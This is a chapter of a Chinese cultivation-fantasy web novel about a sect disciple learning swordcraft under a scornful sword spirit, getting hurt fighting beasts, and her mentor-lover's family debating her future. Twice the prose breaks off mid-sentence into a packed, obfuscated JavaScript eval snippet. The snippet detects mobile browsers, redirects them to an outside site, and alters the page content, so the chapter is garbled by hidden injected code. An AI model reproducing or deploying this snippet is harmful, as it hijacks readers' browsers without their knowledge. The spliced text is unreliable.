认都认了,凌欢还是想转圜一下她们之间的关系,便试探着开口:“你要是嫌我修为低的话……要不然我努努力,争取赶上你上一任主人?” 这话一说完,旁边的藏月又是一声叹息。 数千年前,修仙界不是现在这个样子。 那时候的修仙界门派百花齐放,随便拎出来一个都能媲美如今的八大宗门。 仙门之中人才辈出,掌门最低的门槛都是无极境,太臻境的修士满地跑。 各宗各派的功法典籍、阵法图谱、丹药秘方遍地生花。 直到千年前那场魔族动乱。 那场浩劫席卷了整个修仙界,无数宗门被血洗,无数大能陨落。 功法失传,典籍焚毁,资源凋零。 动乱持续了整整百年,修仙界的顶尖战力几乎全部战死。 以至于修仙界的历史,直接出现了断层。 失去了前辈的指引,新一辈的修士再也无法企及前人的高度。 宗主的标准一降再降,从无极境降到太臻境。 不仅如此,宗主们入了太臻境后,更是力不从心步履维艰,仿佛凭空生出了一道无形的屏障,阻隔了修行之路。 以藏月为例,她天赋出众,自小被寄予厚望,也是同辈中的佼佼者。 可一步跨入太臻境之后,修为便几乎完全停滞。她甚至一度怀疑,自己究竟是不是如师尊所说的那般天赋异禀。 如藏月这般天赋悟性都极强的人,尚且停滞在太臻三境无法再突破,更何况旁人。 是以仙魔大战过去这么多年,到达无极境的,也只有两人而已。 而长曦神女,是那个大能辈出的时代里,最顶尖的存在之一。 她本是散修出身,无门无派,在那场浩劫中孤身混入魔族做了卧底。 百年蛰伏,最终手刃魔头,然后散尽修为,反哺被魔气污染的大地。 枯木逢春,万物复苏。如今修仙界的每一寸灵土之下,都有她的骨血。 溯光是她的本命灵剑,跟了她上千年。 “所以,”藏月看着凌欢,“就算你修炼到无极境,溯光也未必觉得够看。毕竟长曦神女在当年那个时代,也是站在最前列的。” 凌欢沉默了。 她偷偷看了一眼堂屋中间的溯光。 男人盘腿坐在地上,双手抱胸,下巴搁在膝盖上,一副已经认了命、但又实在不甘心的样子。 她心里忍不住叹了口气。 这哪里是捡了个剑灵,分明是请了尊祖宗回来。 藏月虽然不抱希望,但也得往好处想。 “事已至此,你得再修一门剑道了。”她看向凌欢。 凌欢眨了眨眼。 她们合欢宗并非没有剑修,但剑道的整体水平放在八大宗门里,是垫底的。 她从入门起,师尊给她的定位就是法修。 半路出家入剑道……她也不知道行不行。 “你入门时学过一点基础剑招,底子还在。” 当年是为了找到她最擅长之道,才让她每一道都学了一点。 藏月从储物袋里取出一本薄薄的剑谱:“这是《沐雨剑法》,你先把它吃透。” 《沐雨剑法》并非合欢宗独有,而是类似于弟子规一类的修仙界通用功法,是剑修入道的启蒙剑法。招式不多,没有任何花巧,全是基本功。 凌欢接过剑谱,翻开第一页。 上头画着一个小人,手执长剑,身法轻盈,旁边密密麻麻写满了注解。 “让辛暮给你当陪练。”藏月看了一眼靠在门框上的儿子,“他虽不主修剑道,但带你入门绰绰有余。” 刚一回到宗门,凌欢就在梧桐峰的小教场开始了第一次练剑。 本来辛暮的意思是让她把身上磕出来的伤先养好再修炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590917|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可凌欢实在受不了溯光那张碎嘴子,在耳朵边絮絮叨叨念经一样。 别人听不见,就可着她一个人骚扰,吵得她头疼。 不如赶紧开始练剑,摆出个态度来,好让他消停一会儿。 好在她伤的是左手,不耽误右手拿剑。 辛暮从储物袋里找了把最轻的练习剑给她。 溯光剑她暂时还驾驭不了。 神器本身的灵力太强了,更何况还在闹脾气,以她现在的修为强行使用,只会伤着自己。 凌欢站在小教场中央,深吸一口气,努力回忆着那一星半点的基础,照着剑谱上的动作来。 起手,挽剑,刺。 旁边石头上坐着的溯光嗤笑一声:“拿剑的姿势都不对,你这是给人送武器呢?” 凌欢手指微微收紧,耳根有些发热,但还是硬着头皮把动作做完了。 辛暮替她纠正了错误,温声开口:“再来。” 凌欢不自觉地朝溯光那边看了一眼,浑身都别别扭扭的。 她是底子不好,是有点笨。 在师尊和师兄面前怎么样都行,可当着外人的面——还是个千年前的、强得离谱的剑灵的面——她多少有些放不开。 怪丢人的。 她强行把思绪拉回来,沉住气,再做了一遍起式。 这次倒是比刚才强了不少,奈何溯光还是瞧不上眼。 ……不,已经不是瞧不上眼了,是更绝望了。 一连小半个月,凌欢都在溯光的嫌弃声中度过。 一个回身。 溯光:“下盘漂浮,你是在跳舞吗?” 一个剑花。 溯光:“你那剑都快飞出去了吧?” 磕磕绊绊收了招。 溯光生无可恋地给出一句夸奖:“不错,也就再有四十年,你这《沐雨剑法》就能练成第一式了。” 饶是凌欢这样的好脾气,也架不住这么个摧残法。 她心里堵得慌,忍不住反问:“你上一任主人以前练过这剑法吗?” 溯光“嘁”了一声:“这种剑法,曦宝七岁的时候看了一眼就融会贯通了。” 凌欢:“……” 行吧。 她捏了捏剑柄,把那股闷气往下压了压。 “那你能不能先去别的地方逛逛?” 别老在这儿盯着她看,怪难受的。 “你当我不想吗?”溯光往后一倒,整个人像一床被子似的摊平在石墩上,“剑灵不能离开主人超过十丈距离。” 凌欢:“……” 好吧。 她顿了顿,忽然觉得不对,又问:“那你是怎么和长曦分开那么远的?” 据她所知,长曦当年是先将本命灵剑封印起来,然后才去斩杀魔头、以身殉道的。 那剑灵肯定和长曦分开过一段时间。 溯光脸上的表情一顿,眉头微微蹙起,似乎在回忆什么。 显然没回忆起来。 剑灵说到底是器身成灵。换了主人之后,即便非他们所愿,也会渐渐失去对上一任主人的记忆。 按理说溯光已经失去主人千年有余,对长曦的记忆早该烟消云散。 可溯光并非寻常剑灵,竟然还保留了一部分记忆。 他烦躁地搓了搓头发,从石头上跳下来:“差点被你带偏了,忘了正事!曦宝在哪里?你带我去找她!” 凌欢张着嘴,半晌说不出话来,不知该如何答复。 12. 你怎么保护…… 其实剑灵换了主人后会忘记上一任主人,这个说法不是特别的准确。 应该说剑灵只有忘记了上一任主人,才会考虑认新主。 如同树木在旧叶落尽之后才会萌发新芽,若旧主仍在剑灵心中留有一席之地,血誓便无法成立。 但溯光显然情况特殊。 自他从凌欢口中得知长曦已经死了之后,就没再说过话。 本命灵剑与修士融为一体,平时便悬浮于神识深处的虚海之中,主人心念一动便可召出。 现在溯光剑死气沉沉的躺在凌欢的虚海中,任凌欢怎么叫他都不理。 世界突然变得很安静。 凌欢反倒有些不习惯。 本命灵剑归伏于虚海的时候,主人是可以屏蔽它对外界的感知的,就好比把门窗都关死,剑灵就无法得知主人在做什么。 凌欢跟藏月学了如何隔绝虚海。 再怎么说,溯光也是个男人,总不能叫他偷看了自己的私密。 但这只是一方面。 另一方面…… 说心里不憋气是假的。 从小到大,师尊疼她,师兄宠她,师姐师妹们也都让着她。入门十四年,从来没有人这么赤裸裸的嫌弃过她。 溯光是头一个。 虽然这一个月来她嘴上不说,脸上也看不出什么,但心里较着劲,非要练出个名堂让溯光后悔去。 剑修要锻体,这是绕不过去的坎。剑法再精妙,没有足够的力量和速度来支撑,都是花架子。 于是每天早上天不亮,她就爬起来去绑着沙袋跑步。 跑完到小教场跟着刚入门的新弟子扎马步,打基础。等新弟子们都散了,她还要提着两个石锁再去梅花桩上溜两圈。 下午的所有时间,全都用来练剑。 就这样不出一个月,凌欢就把《沐雨剑法》十七式练得炉火纯青。 这段时间以来,她的身量比之前更高挑挺拔了些,不再像个纸片儿似的,四肢多了些力量感,精气神也不一样了。 辛暮站在教场边上,看向少女的目光欣慰中带了些心疼。 又过了一年。 即使已经新学了两套更好的剑法,但沐雨剑法还是每天的必练项目。原因无他,这套剑法全是基础,她半途入道本就底子薄弱,多练练没有坏处。 辛暮也逐渐发现,她对剑道的悟性比想象中高很多。一套剑法演示两遍,她就能依样画葫芦地使出来。 以前没发现,或许是因为她年纪小又有些娇气,锻体两次胳膊疼腿疼就想哭,一委屈辛暮就忍不住替她求情。 藏月又是个最不喜强求的人,毕竟她天赋超群,从小练什么功法从来没人强迫过她,都是她摸索摸索这个摸索摸索那个,自己摸索出来的路。 所以对凌欢的教育,不免也多了许多纵容。见凌欢不想练,也就不让她练了。 没想到竟然是把人给耽误了。 好在凌欢现在自己愿意吃苦练剑,这比一千个人逼迫督促效果都好。 这天凌欢正在教场上练新的剑招,辛暮在一旁指导。藏月处理完门中要事,就想着来看看进度。 看了半晌,她忽然问了一句:“欢儿在太初六境停了有一年了吧?” 并非质问,只是例行询问。 跨大境本就不是容易的事,从太初六境到太清一境看似只有一步,实际上是一大质的飞跃,她当年在这里也卡了四五年有余。 她话音不高,身旁的辛暮理当是能听到的。 但辛暮似乎全部的注意力都在教场正中央的少女身上,此时眉头一蹙,快步上前挡住她的下一个动作。 “腿往后撤,重心在前,腰部发力,你方才那样极容易伤到自己。” 凌欢赶紧按照他的话进行调整,时不时眼神瞄一下辛暮的表情,确认动作没问题了再退回去重新再来。 辛暮背着手站在她身侧,俨然一副严师的样子。 藏月看着儿子的背影,若有所思。 …… 司南堂收到了一道从附近镇子发来的求救讯息,说是镇子外的山林里有妖兽出没,已经伤了几个猎户,镇上人心惶惶。 几位长老一合计,把这事交给了二长老的亲传弟子澄英去处理。 藏月听说后,顺口提了一句,让凌欢跟着一块去。 她修剑道一年多了,总不实战也不是个事。 跟着辛暮出去,根本起不到任何作用—— 稍微有点危险的境地,辛暮就冲到最前面解决了。没有绝境挑战,怎么提高? 正好这几日辛暮不在宗门。 前两日东边有魔修作乱的迹象,他领了任务去查看,还没回来。 澄英比凌欢早入门二十几年,太清二境的修为。 他生得眉清目朗,鼻梁高挺,在普通人的标准里算得上是出类拔萃。但在俊男靓女如云的合欢宗,也就是个中上水平。 凌欢知道要独立出门历练,兴奋得很,带上若水扇和那把练习用的佩剑,就跟着澄英一起下山。 出事的山林在镇子北面,地势不算险要。 澄英在前头探路,凌欢跟在后面,两人一前一后。 走到半山腰时,澄英在一处岩壁下发现了妖兽的踪迹。 再往上走了半里地,一头通体漆黑的妖兽正趴在一块岩石上打盹。那妖兽形似豹,但背上多了一排骨刺,尾巴末端长着一团黑色的鬃毛,呼出的气息带着淡淡的黑雾。 澄英打了个手势,示意凌欢绕到侧面去封住妖兽的退路。两人一左一右包抄过去,澄英率先出手,一道灵力凝成的锁链朝妖兽当头罩下。 妖兽被惊醒,怒吼一声朝澄英扑去。 凌欢正要上前帮忙,余光在灌木丛中扫到了一处异样。 她转头看去,瞳孔骤然收缩。 那不是灌木丛。那是趴伏在地上的另外两头妖兽,比岩石上那头还要健壮,背上的骨刺正缓缓竖起。 “澄英师兄小心!” 凌欢的话刚出口,灌木丛里的两头妖兽便同时暴起。一头从侧面扑向澄英,另一头径直朝凌欢冲了过来。 凌欢召出若水扇,淡蓝色的水幕在身前铺开,扛下了妖兽的一爪。冲击力把她整个人震退了三四步,后脚跟踩在碎石上,差点没站稳。 澄英那边被两头妖兽缠住,锁链左支右绌,一时无法脱身。 凌欢咬了咬牙,若水扇横在身前,佩剑出鞘。那妖兽再次扑来时,她不再被动防御,侧身让过扑击的同时一剑斜刺,扎进了妖兽的前腿。 妖兽吃痛,怒吼着甩尾,尾巴上那团鬃毛如钢针般扫过来。凌欢举扇挡了一下,却不料妖兽趁她视线被遮蔽的瞬间猛地转身,一爪朝她后心抓去。 凌欢察觉到了背后的风声。 她想躲,但距离太近了。 她只能勉强往前倾了倾身子。 两道爪痕从右肩胛骨斜拉到左腰侧。 后背一凉,很快被火烧火燎的痛感代替。凌欢闷哼一声,手里的若水扇差点脱手。她硬生生稳住身形,反手一剑刺穿了妖兽的喉咙。 那头妖兽抽搐着倒下。与此同时澄英终于解决了另外两头,浑身是血地跑过来。 “师妹!” 凌欢想说自己没事,嘴还没张开,眼前便是一黑。 后背的伤口开始发出剧痛的信号,衣服被血浸透,黏在皮肤上。失血加上体力耗尽,她的意识在一瞬间便断了线。 等她再有意识的时候,已经伏在澄英背上。 耳边的风声很大,应该是正在御剑往回飞。 她能感觉到后背的伤口还在往外渗血,温热的液体顺着腰侧往下淌,但整个人晕晕乎乎的,睁不开眼。 …… 辛暮刚从紫薇殿出来。 他今早回的宗门,去跟藏月复命,顺便问了句凌欢怎么没在小教场。 藏月说让她跟着澄英出去历练了。 辛暮没说什么,从殿里出来的时候脸色却不太好看。 太巧了。 澄英是二长老的亲传弟子,太清二境,相貌端正。正好卡在比凌欢修为高、又不是高得太离谱的区间里。 母亲此举究竟是什么意思? 他站在殿门外,脑子里来回转着这些念头。 想了几圈又觉得自己想多了。 母亲说过,就算给欢儿换道侣也要找比他强的,澄英的修为确实不如他。 他刚要往梧桐峰走,余光便看见远处天际有一道流光疾驰而来。 是澄英,背上还背着一个人。 辛暮的脚步钉在了原地。 那道流光越来越近,他看清了澄英背上那人的脸。 凌欢的头垂在澄英肩头,发髻有些乱,脸白得像纸,后背的衣裳被血染透了一大片。 他攥紧了拳,指节发出轻微的脆响。 澄英落在殿前,还没来得及站稳就急声道:“掌门师叔!凌欢师妹受伤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590918|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 辛暮大步冲过去,一把将凌欢从澄英背上抱过来。 一只手托着她的后脑,另一只手绕过她的膝弯,将她整个人横抱在怀里。 “你是怎么保护她的?” 他的声音压得很低,像是在喉咙里闷着发出来的。澄英被喝得一愣,张了张嘴想解释,辛暮已经抱着凌欢转身走了。 藏月从大殿里走出来,正好看见这一幕。 辛暮把凌欢抱回了梧桐峰,路上已经用通讯符叫了医修。 他把她放在床榻上,让她侧着身子躺,后背朝上。伤口的血已经把衣裳和皮肉黏在了一起,他不敢乱动,只能等医修来。 医修来了之后剪开衣裳,露出后背那两道触目惊心的爪痕。 伤口不算太深,但很长,边缘的皮肉外翻着,血已经把整个后背都染红了。 医修清理伤口的时候,凌欢无意识地呻吟了一声,眉头紧紧皱起来,嘴唇干裂发白。 辛暮站在床榻边,一只手按在床沿上,五指几乎要嵌进木头里去。 医修上了药,又用灵力替她止血,忙活了大半个时辰才弄完。 临走前交代说伤口不深,没伤着骨头和灵脉,养一阵就好。 屋里安静下来。 辛暮在床榻边坐下。 他想握她的手,又怕弄醒她,手伸到一半又收回来,放在自己膝盖上攥成了拳。 “你是在怨母亲吗?” 藏月的声音从身后传来。 她不知什么时候进来了,站在门口,逆着光看不清表情。 辛暮没有答复。 藏月叹了口气。 “这次不是你想的那样。澄英的修为不如你,真要给她换道侣,也得找个比你强的、且不修合欢道的。我还没老糊涂。” 既然是要从对方身上采灵元,那肯定对方不能修合欢道,否则两人互换来互换去的,也没有什么进益的空间。 藏月走到辛暮身侧,看了一眼榻上昏睡的凌欢,语气软了些。 “但辛暮,你自己心里也清楚。你能意识到我可能在给她安排新道侣,就说明你知道这一天迟早会来。” 辛暮的手指蜷了一下。 藏月没有放过他这个细微的动作。 “她的修为停在太初六境已经一年多了。就算有你给她渡灵元,同一个人提供的灵元效用会逐渐递减,终有一日对她的助益会微乎其微。到那时候,她的修为就永远停在这里了。” “以她现在的境界,寿数不过百年。你就算永远停在现今的境界,也至少还有两百多年的寿命。再过几十年,她的容貌开始衰老,你还是现在的样子。到时候她怎么想?你又怎么想?” “你对她……”藏月顿了顿,“还能像现在一样吗?” “我能。”辛暮抬起头,目光坚定。 藏月看着他,好像看到无数个男人曾经也用这样的目光对她作出承诺。 “人心是会变的。”藏月轻轻笑着,左手无意识地勾了一缕发丝在指尖轻轻缠绕,声音呢喃。 “你亲生父亲,曾经也是这样信誓旦旦的说,爱我永世如初。” 她这样骄傲的女子,若非是诚挚到骨子里的感情,不可能让她愿意怀孕生子。 开始时多么的轰轰烈烈,结束的就有多荒诞潦草。 屋里安静了很长时间。 辛暮低着头,垂下的碎发遮住了他的眼睛。他的声音很轻,像是自言自语。 “欢儿没有主动提起过这件事。她和我在一起每天都很快乐。如果能这样幸福快乐地过一辈子,也未尝不可。” 蜃梦兽的幻境还是对他造成了影响。 他日日看着凌欢的睡颜,总是会不可避免的想起幻境中少女仰头看着他,目光里全是依恋。 “师兄,我不想修合欢道了……” “我想永远和师兄在一起。” 回忆得多了,就会越来越真实。 藏月看了他很久。 这个儿子是她一手带大的,什么性子她比任何人都清楚,一头钻进牛角尖里那是谁都拉不回来。 只好搬出他唯一的软肋来作劝导。 “好。就算你觉得一辈子平平淡淡也很好,那她呢?她有没有说过也想和你这样过一辈子?” 辛暮张了张嘴,没说出话来。 藏月转身往门口走去。 “我们在这里替她分析来分析去,不如等她醒了,问问她自己的想法。”